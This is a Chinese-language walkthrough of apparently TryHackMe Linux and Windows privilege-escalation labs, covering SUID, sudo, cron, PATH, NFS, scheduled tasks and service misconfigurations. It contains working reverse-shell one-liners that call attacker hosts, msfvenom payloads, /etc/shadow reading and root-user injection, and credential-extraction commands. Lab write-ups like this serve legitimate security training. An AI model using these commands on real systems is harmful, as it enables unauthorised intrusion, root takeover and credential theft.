:列出“监听”模式下的端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用TCP协议侦听的端口(如下)netstat -s
:按协议列出网络使用统计信息(如下) 这也可以与-t
或-u
选项一起使用,以将输出限制为特定协议。netstat -tp
:列出连接以及服务名称和PID信息,这也可以与-l
选项一起使用来列出侦听端口
查找命令
在目标系统中搜索重要信息和潜在的权限升级向量可能会取得丰硕成果。内置的“查找”命令非常有用,值得保留在您的武器库中。
以下是“查找”命令的一些有用示例。
查找文件:
find . -name flag1.txt
:在当前目录中查找名为“flag1.txt”的文件find /home -name flag1.txt
:在 /home 目录中查找文件名“flag1.txt”find / -type d -name config
:查找“/”下名为config的目录find / -type f -perm 0777
:查找具有777权限的文件(所有用户可读、可写、可执行的文件)find / -perm a=x
: 查找可执行文件find /home -user frank
:查找“/home”下用户“frank”的所有文件find / -mtime 10
:查找最近 10 天内修改过的文件find / -atime 10
:查找过去 10 天内访问过的文件find / -cmin -60
:查找过去一小时(60 分钟)内更改的文件find / -amin -60
:查找最近一小时(60 分钟)内访问的文件find / -size 50M
:查找大小为 50 MB 的文件
该命令还可以与(+)和(-)符号一起使用来指定大于或小于给定大小的文件。
上面的示例返回大于 100 MB 的文件。值得注意的是,“find”命令往往会产生错误,有时会导致输出难以阅读。这就是为什么明智的做法是使用带有-type f 2>/dev/null
的find命令将错误重定向到“/dev/null”并获得更清晰的输出
可以写入或执行的文件夹和文件:
find / -writable -type d 2>/dev/null
:查找全局可写文件夹find / -perm -222 -type d 2>/dev/null
:查找全局可写文件夹find / -perm -o w -type d 2>/dev/null
:查找全局可写文件夹find / -perm -o x -type d 2>/dev/null
:查找全局可执行文件夹- 查找开发工具和支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
查找特定文件权限:
下面是一个简短的示例,用于查找设置了 SUID 位的文件。 SUID 位允许文件以拥有该文件的帐户(而不是运行该文件的帐户)的权限级别运行。这允许一个有趣的权限升级路径,我们将在任务 6 中看到更多细节。下面的示例用于完成“find”命令的主题。
find / -perm -u=s -type f 2>/dev/null
:查找带有SUID位的文件,它允许我们以比当前用户更高的权限级别运行该文件。
Task2 自动化枚举工具
有几种工具可以帮助您在枚举过程中节省时间。这些工具只能用于节省时间,因为它们可能会错过一些权限升级向量。下面是流行的Linux枚举工具的列表,以及各自的 Github 存储库的链接。
目标系统的环境将影响您将能够使用的工具。例如,如果目标系统上未安装用 Python 编写的工具,您将无法运行该工具。这就是为什么熟悉几个工具比拥有一个首选工具更好。
- LinPeas : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum:https://github.com/rebootuser/LinEnum
- LES( Linux漏洞利用建议器): https://github.com/mzet-/linux-exploit-suggester
- Linux智能枚举: https://github.com/diego-treitos/linux-smart-enumeration
- Linux隐私检查器: https://github.com/linted/linuxprivchecker
Task3 内核漏洞
理想情况下,权限升级会导致 root 权限。有时可以简单地通过利用现有漏洞来实现,或者在某些情况下通过访问具有更多权限、信息或访问权限的另一个用户帐户来实现。除非单个漏洞导致 root shell,否则权限提升过程将依赖于错误配置和宽松的权限。Linux系统上的内核管理系统内存和应用程序等组件之间的通信。这个关键功能需要内核有特定的权限;因此,成功利用该漏洞可能会导致 root 权限。
内核利用方法很简单;
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞利用代码
- 运行漏洞利用程序
虽然看起来很简单,但请记住,失败的内核漏洞可能会导致系统崩溃。在尝试内核漏洞之前,请确保这种潜在结果在渗透测试范围内是可以接受的。
研究来源:
- 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
- https://www.linuxkernelcves.com/cves等来源也很有用。
- 另一种选择是使用像 LES( Linux Exploit Suggester)这样的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)。
提示/注释:
- 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时对内核版本过于具体
- 在启动漏洞利用代码之前,请确保您了解其工作原理。某些漏洞利用代码可以对操作系统进行更改,从而使它们在进一步使用时不安全,或者对系统进行不可逆转的更改,从而在以后产生问题。当然,这些在实验室或 CTF 环境中可能不是大问题,但在真正的渗透测试过程中,这些绝对是禁忌。
- 某些漏洞一旦运行可能需要进一步的交互。阅读漏洞利用代码提供的所有注释和说明。
- 您可以分别使用
SimpleHTTPServer
Python 模块和wget
将漏洞利用代码从您的计算机传输到目标系统。
打开靶机,通过ssh进行连接,执行以下命令观察内核版本
1 | uname -a |
得到版本如下
1 | Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux |
经过搜索存在符合版本的漏洞
我们通过searchsploit下载exp代码
然后在本地编译并保存为exp
1 | gcc 37292.c -o exp |
本机开启http服务后,在连接的靶机的/tmp
目录下使用wget下载下来
赋予777执行权限,成功提权
Task4 Sudo
默认情况下,sudo 命令允许您以 root 权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。例如,初级SOC分析师可能需要定期使用Nmap ,但不会获得完全 root 访问权限。在这种情况下,系统管理员可以允许该用户仅以 root 权限运行Nmap ,同时在系统的其余部分保持其常规权限级别。
任何用户都可以使用sudo -l
命令检查其与 root 权限相关的当前情况。
https://gtfobins.github.io/是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。
利用应用程序功能
某些应用程序在此上下文中不会有已知的漏洞。您可能会看到的这样的应用程序是 Apache2 服务器。
在这种情况下,我们可以使用“黑客”来利用应用程序的功能来泄露信息。如下所示,Apache2 有一个选项支持加载备用配置文件( -f
:指定备用 ServerConfigFile)。
使用此选项加载/etc/shadow
文件将导致一条错误消息,其中包含/etc/shadow
文件的第一行。
利用LD_PRELOAD
在某些系统上,您可能会看到 LD_PRELOAD 环境选项。
LD_PRELOAD 是一个允许任何程序使用共享库的函数。这篇博文将让您了解 LD_PRELOAD 的功能。如果启用“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载并执行。请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略。
这个特权升级向量的步骤可以总结如下:
- 检查 LD_PRELOAD(使用 env_keep 选项)
- 编写一个简单的 C 代码编译为共享对象(.so 扩展名)文件
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
C 代码将简单地生成一个 root shell,可以编写如下
1 |
|
我们可以将此代码保存为 shell.c,并使用 gcc 使用以下参数将其编译为共享对象文件;
1 | gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
现在,当启动用户可以使用 sudo 运行的任何程序时,我们可以使用此共享对象文件。在我们的例子中,Apache2、find 或几乎任何我们可以使用 sudo 运行的程序都可以使用。
我们需要通过指定LD_PRELOAD选项来运行程序,如下;
1 | sudo LD_PRELOAD=/home/user/ldpreload/shell.so find |
这将导致生成具有 root 权限的 shell。
打开靶机,sudo -l
发现存在find命令可以提权
Task5 SUID
许多Linux权限控制依赖于控制用户和文件交互。这是通过权限完成的。到现在为止,您知道文件可以具有读、写和执行权限。这些是在其权限级别内提供给用户的。这会随着 SUID(设备用户标识)和 SGID(设备组标识)而改变。这些允许分别以文件所有者或组所有者的权限级别执行文件。
您会注意到这些文件有一个“s”位设置,显示其特殊权限级别。下面命令将列出设置了 SUID 或 SGID 位的文件。
1 | find / -type f -perm -04000 -ls 2>/dev/null |
可以发现nano命令已经设置为SUID位,我们可以读取/etc/passwd
和/etc/shaodw
1 | nano /etc/passwd |
然后使用unshadow生成john可破解的文件
1 | unshadow passwd.txt shadow.txt > passwords.txt |
另一种选择是添加具有 root 权限的新用户。这将帮助我们绕过密码破解的繁琐过程。我们需要我们希望新用户拥有的密码的哈希值。这可以使用 Kali Linux上的 openssl 工具快速完成。
1 | openssl passwd -1 -salt rev1ve rev1ve |
然后,我们将此密码和用户名添加到/etc/passwd
文件中,再切换用户即可
1 | rev1ve:$1$rev1ve$sQl3WXKUgGAsDB384YvPa/:0:0:root:/root:/bin/bash |
打开靶机,查看设置了 SUID 位的文件
1 | find / -type f -perm -04000 -ls 2>/dev/null |
注意到base64命令可以使用,参考GTFOBins
执行以下命令查看
1 | /usr/bin/base64 /etc/shadow | base64 --decode |
然后使用john暴力破解得到user2的密码
Task6 Capabilities
系统管理员可以用来提高进程或二进制文件的权限级别的另一种方法是“Capabilities”。Capabilities有助于更精细地管理权限。例如,如果SOC分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想授予该用户更高的权限,他们可以更改二进制文件的功能。因此,二进制文件无需更高权限的用户即可完成其任务。功能手册页提供了有关其用法和选项的详细信息。
我们可以使用getcap
工具来列出启用的功能。
注:当以非特权用户身份运行时, getcap -r /
将生成大量错误,因此最好将错误消息重定向到/dev/null
。
通过查阅GTFObins,vim命令可以用来权限提升
打开靶机后ssh连接,查找设置了capabilities可执行文件
1 | getcap -r / 2>/dev/null |
利用vim命令失败,继续利用view命令即可
1 | view -c ':!/bin/sh' |
Task7 Cron定时任务
Cron 作业用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者的权限运行,而不是以当前用户的权限运行。虽然正确配置的 cron 作业本身并不容易受到攻击,但它们在某些情况下可以提供权限升级向量。这个想法很简单;如果有一个以 root 权限运行的计划任务,并且我们可以更改将运行的脚本,那么我们的脚本将以 root 权限运行。
Cron 作业配置存储为 crontab(cron 表),以查看任务下次运行的时间和日期。系统上的每个用户都有自己的 crontab 文件,并且无论是否登录都可以运行特定任务。正如您所期望的,我们的目标是找到由 root 设置的 cron 作业并让它运行我们的脚本(最好是 shell)。
任何用户都可以读取/etc/crontab
下保存系统范围 cron 作业的文件,在渗透测试活动中,您会更经常看到每天、每周或每月运行的任务。
您可以看到backup.sh
脚本被配置为每分钟运行一次。该文件的内容显示了一个简单的脚本,该脚本创建prices.xls 文件的备份。
该脚本将使用目标系统上可用的工具来启动反向 shell。
需要注意的两点;
- 命令语法将根据可用工具的不同而有所不同。 (例如
nc
可能不支持您在其他情况下可能看到的-e
选项) - 我们应该始终倾向于启动反向 shell,因为我们不想在真正的渗透测试过程中损害系统的完整性。
我们开启监听器即可收到反向shell
Crontab 始终值得检查,因为它有时会导致轻松的权限升级向量。在不具备一定网络安全成熟度级别的公司中,以下情况并不少见:
- 系统管理员需要定期运行脚本。
- 他们创建了一个 cron 作业来执行此操作
- 一段时间后,脚本变得毫无用处,他们将其删除
- 他们不清理相关的 cron 作业
此变更管理问题会导致利用 cron 作业的潜在漏洞。
上面的示例显示了类似的情况,antivirus.sh 脚本被删除,但 cron 作业仍然存在。如果未定义脚本的完整路径(就像为 backup.sh 脚本所做的那样),cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。在这种情况下,我们应该能够在用户的主文件夹下创建一个名为“antivirus.sh”的脚本,并且它应该由 cron 作业运行。这样传入的反向 shell 连接具有 root 权限
打开靶机ssh连接,查看用户定义的cron 作业
我们注意到/tmp
路径下的test.py文件,进行搜索发现不存在
我们切换到/tmp
目录下,创建test.py并写入反向shell(注意要赋予执行权限)
1 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.34.216",777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' |
Task8 PATH
如果您的用户具有写入权限的文件夹位于路径中,您可能会劫持应用程序来运行脚本。 Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置到 shell 中或未定义绝对路径的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。 (PATH是我们这里讨论的环境变量,path是文件的位置)。
如果我们在命令行中输入“thm”, Linux将在这些位置查找名为 thm 的可执行文件。下面的场景将使您更好地了解如何利用它来提高我们的特权级别。正如您将看到的,这完全取决于目标系统的现有配置,因此在尝试此操作之前,请确保您可以回答以下问题。
- $PATH 下有哪些文件夹
- 您当前的用户是否具有这些文件夹的写入权限?
- 可以修改$PATH吗?
- 您可以启动的脚本/应用程序是否会受到此漏洞的影响?
出于演示目的,我们将使用以下脚本:
该脚本尝试启动一个名为“thm”的系统二进制文件,但该示例可以轻松地用任何二进制文件复制。
我们将其编译为可执行文件并设置 SUID 位。
我们的用户现在可以访问设置了 SUID 位的“path”脚本。
执行后,“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件。
如果 PATH 下列出了任何可写文件夹,我们可以在该目录下创建一个名为 thm 的二进制文件,并让我们的“path”脚本运行它。设置 SUID 位后,该二进制文件将以 root 权限运行
可以使用以下命令对可写文件夹进行简单搜索。可以使用简单的剪切和排序序列来清理此命令的输出。
1 | find / -writable 2>/dev/null |
我们在 /usr 下看到许多文件夹,因此再次运行可写文件夹搜索以覆盖子文件夹可能会更容易。
另一种选择是使用下面的命令
1 | find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u |
我们添加了“grep -v proc”来消除与运行进程相关的许多结果。不幸的是,/usr下的子文件夹不可写
更容易写入的文件夹可能是 /tmp。此时,由于 PATH 中不存在 /tmp,因此我们需要添加它
1 | export PATH=/tmp:$PATH |
此时,路径脚本还将在 /tmp 文件夹下查找名为“thm”的可执行文件。我们创建thm文件并写入/bin/bash
即可,然后再赋予执行权限
打开靶机ssh连接,查看可写文件夹
1 | find / -writable 2>/dev/null |
注意到/home/murdoch
拥有可写权限,访问发现存在thm.py调用thm二进制文件
不过这里不能直接执行thm.py,是通过具有SUID位的test二进制文件调用的
我们添加下PATH环境变量
1 | export PATH=/home/murdoch:$PATH |
然后在/home/murdoch
下创建thm恶意文件,然后赋予执行权限后,执行test二进制文件即可
1 | /bin/bash |
Task9 NFS
权限升级载体不仅限于内部访问。共享文件夹和远程管理界面(例如SSH和 Telnet)还可以帮助您获得目标系统的 root 访问权限。某些情况下还需要使用这两个向量,例如在目标系统上查找 root SSH私钥并通过SSH以 root 权限进行连接,而不是尝试提高当前用户的权限级别。
与 CTF 和考试更相关的另一个载体是配置错误的网络 shell。当存在网络备份系统时,有时可以在渗透测试期间看到此载体。
NFS(网络文件共享)配置保存在 /etc/exports 文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。
此权限升级载体的关键元素是您在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并禁止以 root 权限操作任何文件。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。
我们将首先枚举攻击机器上的可挂载共享。
我们将把“no_root_squash”共享之一挂载到我们的攻击机器上并开始构建我们的可执行文件。
由于我们可以设置 SUID 位,因此在目标系统上运行 /bin/bash 的简单可执行文件将完成这项工作。
编译代码后,我们将设置 SUID 位。
您将在下面看到这两个文件(nfs.c 和 nfs 都存在于目标系统上。我们已经处理了已安装的共享,因此无需传输它们)。
请注意,nfs 可执行文件在目标系统上设置了 SUID 位,并以 root 权限运行。
打开靶机,我们先查看靶机的可挂载共享
ssh连接靶机查看
那么选择/tmp
挂载到我们的/tmp/hacker
下
1 | mount -o rw 10.10.144.39:/tmp /tmp/hacker |
然后在本地创建nfs.c后编译
1 |
|
赋予SUID位,然后在靶机执行即可
Task10 challenge
ssh登录leonard用户,发现/home
目录下存在三个账户
看看有什么SUID位的文件可以利用,发现base64命令
使用base64命令读取下/etc/shadow
1 | /usr/bin/base64 /etc/shadow | base64 --decode |
发现刚好有missy用户的密码,用john爆破得到Password1
ssh登录missy用户,成功拿到flag1
尝试sudo提权,发现有find命令
成功提权,拿到flag2
1 | sudo /usr/bin/find . -exec /bin/sh \; -quit |
Windows 权限提升
Task1 基本概念
简而言之,权限升级包括使用“用户 A”对主机的给定访问权限,并通过滥用目标系统中的弱点来利用它来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在某些情况下,我们可能需要升级到其他非特权帐户,然后才能真正获得管理权限。
获取对不同帐户的访问权限就像在某些粗心用户留下的不安全的文本文件或电子表格中查找凭据一样简单,但情况并非总是如此。根据具体情况,我们可能需要利用以下一些弱点:
- Windows 服务或计划任务配置错误
- 分配给我们帐户的权限过多
- 易受攻击的软件
- 缺少 Windows 安全补丁
在开始讨论实际技术之前,让我们先了解一下 Windows 系统上的不同帐户类型。
Windows 用户
Windows系统主要有两类用户。根据用户的访问级别,我们可以将用户分为以下组之一:
管理员 | 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
标准用户 | 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或重要的更改,并且仅限于他们的文件。 |
任何具有管理权限的用户都将成为管理员组的一部分。另一方面,标准用户是用户组的一部分。
除此之外,您通常会听说操作系统在权限升级的情况下使用一些特殊的内置帐户:
系统/本地系统 | 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,并且具有比管理员更高的权限。 |
---|---|
本地服务 | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。 |
网络服务 | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。 |
这些帐户由 Windows 创建和管理,您将无法像其他常规帐户一样使用它们。不过,在某些情况下,您可能会因为利用特定服务而获得他们的特权。
Task2 信息搜集
无人值守的 Windows 安装
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,您可能会遇到凭据:
1 | <Credentials> |
Powershell 历史
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户直接在 Powershell 命令行中运行包含密码的命令,则稍后可以在cmd.exe
提示符下使用以下命令来检索该密码:
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将%userprofile%
识别为环境变量。要从 Powershell 读取该文件,您必须将%userprofile%
替换为$Env:userprofile
。
保存的 Windows 凭据
Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:
1 | cmdkey /list |
虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,您可以将它们与runas
命令和/savecred
选项一起使用,如下所示。
1 | runas /savecred /user:admin cmd.exe |
IIS 配置
Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为web.config
的文件中,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
这是在文件上查找数据库连接字符串的快速方法:
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
从软件检索凭证:PuTTY
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其SSH密码,但它将存储包含明文身份验证凭据的代理配置。
要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、 FTP客户端、 SSH客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。
打开靶机,RDP远程连接
1 | xfreerdp /v:10.10.103.83 /u:thm-unpriv /p:Password321 |
找到存储在powershell的密码
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
继续找到与 IIS 关联的 web.config 文件中的密码
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
查看下保存的登录凭据,配合/savecred
参数直接无密码登录
1 | cmdkey /list |
查看存储的代理凭据
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
Task3 计划任务
查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。
可以使用不带任何选项的schtasks
命令从命令行列出计划任务。要检索有关任何服务的详细信息,您可以使用如下命令:
1 | C:\> schtasks /query /tn vulntask /fo list /v |
您将获得有关该任务的大量信息,但对我们来说重要的是“要运行的任务”参数,该参数指示计划任务执行的内容,以及“以用户身份运行”参数,该参数显示将使用的用户执行任务。
如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls
:
1 | C:\> icacls c:\tasks\schtask.bat |
从结果中可以看出, BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。为了您的方便, nc64.exe
可以在C:\tools
中找到。让我们更改 bat 文件以生成反向 shell:
1 | echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat |
然后,我们在攻击者机器上启动一个侦听器,该侦听器位于我们在反向 shell 上指示的同一端口上:
1 | nc -lvp 4444 |
下次运行计划任务时,您应该会收到具有taskusr1权限的反向shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行该任务
1 | schtasks /run /tn vulntask |
打开靶机,RDP连接查看下计划任务
1 | schtasks /query /tn vulntask /fo list /v |
查看该文件的执行权限
1 | icacls C:\tasks\schtask.bat |
手动启用计划任务,监听4444端口拿到shell
Task4 始终安装提升
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。
注意: AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。
此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。
1 | C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer |
为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用msfvenom
生成恶意 .msi 文件,如下所示:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi |
由于这是一个反向 shell,您还应该运行相应配置的Metasploit处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:
1 | C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
Task5 滥用服务错误配置
Windows 服务
Windows 服务由服务控制管理器(SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每个服务还指定该服务将在其下运行的用户帐户。
为了更好地理解服务的结构,让我们使用sc qc
命令检查 apphostsvc 服务配置:
1 | C:\> sc qc apphostsvc |
在这里我们可以看到关联的可执行文件是通过BINARY_PATH_NAME参数指定的,用于运行服务的帐户显示在SERVICE_START_NAME参数上。
服务具有自主访问控制列表 (DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。 DACL 可以从 Process Hacker 中看到(可以在您的计算机桌面上找到):
所有服务配置都存储在注册表中 HKLM\SYSTEM\CurrentControlSet\Services\
:
系统中的每个服务都存在一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,并在ObjectName值上看到用于启动服务的帐户。如果已为服务配置了DACL ,它将存储在名为Security的子项中。正如您现在已经猜到的,默认情况下只有管理员可以修改此类注册表项。
服务可执行文件的不安全权限
如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。
为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用sc
查询服务配置:
1 | C:\> sc qc WindowsScheduler |
我们可以看到漏洞软件安装的服务以svcuser1身份运行,并且与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe
,然后我们继续检查可执行文件的权限:
1 | C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe |
这里有一些有趣的事情。 Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它。
让我们使用 msfvenom 生成一个 exe-service 有效负载,并通过 python Web 服务器提供它:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe |
然后我们可以使用以下命令从 Powershell 中提取有效负载
1 | wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe |
一旦有效负载位于 Windows 服务器中,我们就继续用有效负载替换服务可执行文件。由于我们需要另一个用户来执行我们的有效负载,因此我们还希望向Everyone组授予完全权限
1 | C:\> cd C:\PROGRA~2\SYSTEM~1\ |
我们在攻击者机器上启动一个反向侦听器
最后,重新启动服务。虽然在正常情况下,您可能需要等待服务重新启动,但您已被分配了自行重新启动服务的权限,以节省一些时间。从 cmd.exe 命令提示符使用以下命令:
1 | C:\> sc stop windowsscheduler |
注意: PowerShell将sc
作为Set-Content
别名,因此您需要使用sc.exe
才能以这种方式使用PowerShell控制服务。
打开靶机,RDP连接查看服务配置
继续检查可执行文件的权限
发现对所有人对服务的可执行文件具有修改权限 (M),使用msf生成payload传到靶机
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.250.46 LPORT=4445 -f exe-service -o rev-svc.exe |
然后把原来的WService文件备份,将payload文件名改为WService并赋予完全F权限
1 | move WService.exe WService.exe.bkp |
然后开启http监听,重启下服务成功接收shell
1 | sc stop windowsscheduler |
未加引号的服务路径
当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。
使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径来解释命令中的空格。
作为示例,让我们看一下两个服务之间的区别(这些服务仅用作示例,可能在您的计算机中不可用)。第一个服务将使用正确的引用,以便 SCM 毫无疑问地知道它必须执行由 "C:\Program Files\RealVNC\VNC Server\vncserver.exe"
,后跟给定的参数:
1 | C:\> sc qc "vncserver" |
请记住:PowerShell 将“sc”作为“Set-Content”的别名,因此,如果您处于PowerShell提示符中,则需要使用“sc.exe”来控制服务。
现在让我们看看另一项没有正确引用的服务:
1 | C:\> sc qc "disk sorter enterprise" |
当 SCM 尝试执行关联的二进制文件时,就会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格,因此该命令变得不明确,并且 SCM 不知道您正在尝试执行以下哪一个
Command | Argument 1 | Argument 2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这与命令提示符如何解析命令有关。通常,当您发送命令时,空格将用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着未加引号的命令的“正确”解释是执行C:\MyPrograms\Disk.exe
并将其余部分作为参数。
SCM 没有像它可能应该发生的那样失败,而是尝试帮助用户并开始按照表中所示的顺序搜索每个二进制文件:
- 首先,搜索
C:\MyPrograms\Disk.exe
。如果存在,该服务将运行此可执行文件。 - 如果后者不存在,则会搜索
C:\MyPrograms\Disk Sorter.exe
。如果存在,该服务将运行此可执行文件。 - 如果后者不存在,则会搜索
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
。此选项预计会成功,并且通常会在默认安装中运行。
从这个行为来看,问题就显而易见了。如果攻击者创建了在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件。
虽然这听起来微不足道,但默认情况下,大多数服务可执行文件将安装在C:\Program Files
或C:\Program Files (x86)
下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则也有例外:
- 某些安装程序更改已安装文件夹的权限,使服务容易受到攻击。
- 管理员可能决定将服务二进制文件安装在非默认路径中。如果这样的路径是全局可写的,则该漏洞可以被利用。
在我们的例子中,管理员将磁盘排序器二进制文件安装在c:\MyPrograms
下。默认情况下,它继承C:\
目录的权限,允许任何用户在其中创建文件和文件夹。我们可以使用icacls
检查这一点:
1 | C:\>icacls c:\MyPrograms |
BUILTIN\Users
组具有AD和WD权限,允许用户分别创建子目录和文件。我们可以看看当前用户的所属用户组
1 | whoami /groups |
如果具有足够的权限,使用 msfvenom 创建 exe-service Payload 并将其传输到目标主机的过程与以前相同,因此请像以前一样创建以下 Payload 并将其上传到服务器。我们还将启动一个侦听器来接收反向 shell 执行时的情况:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe |
一旦有效负载进入服务器,请将其移动到可能发生劫持的任何位置。在这种情况下,我们将把有效负载移动到C:\MyPrograms\Disk.exe
。我们还将授予每个人对该文件的完全权限,以确保该服务可以执行该文件:
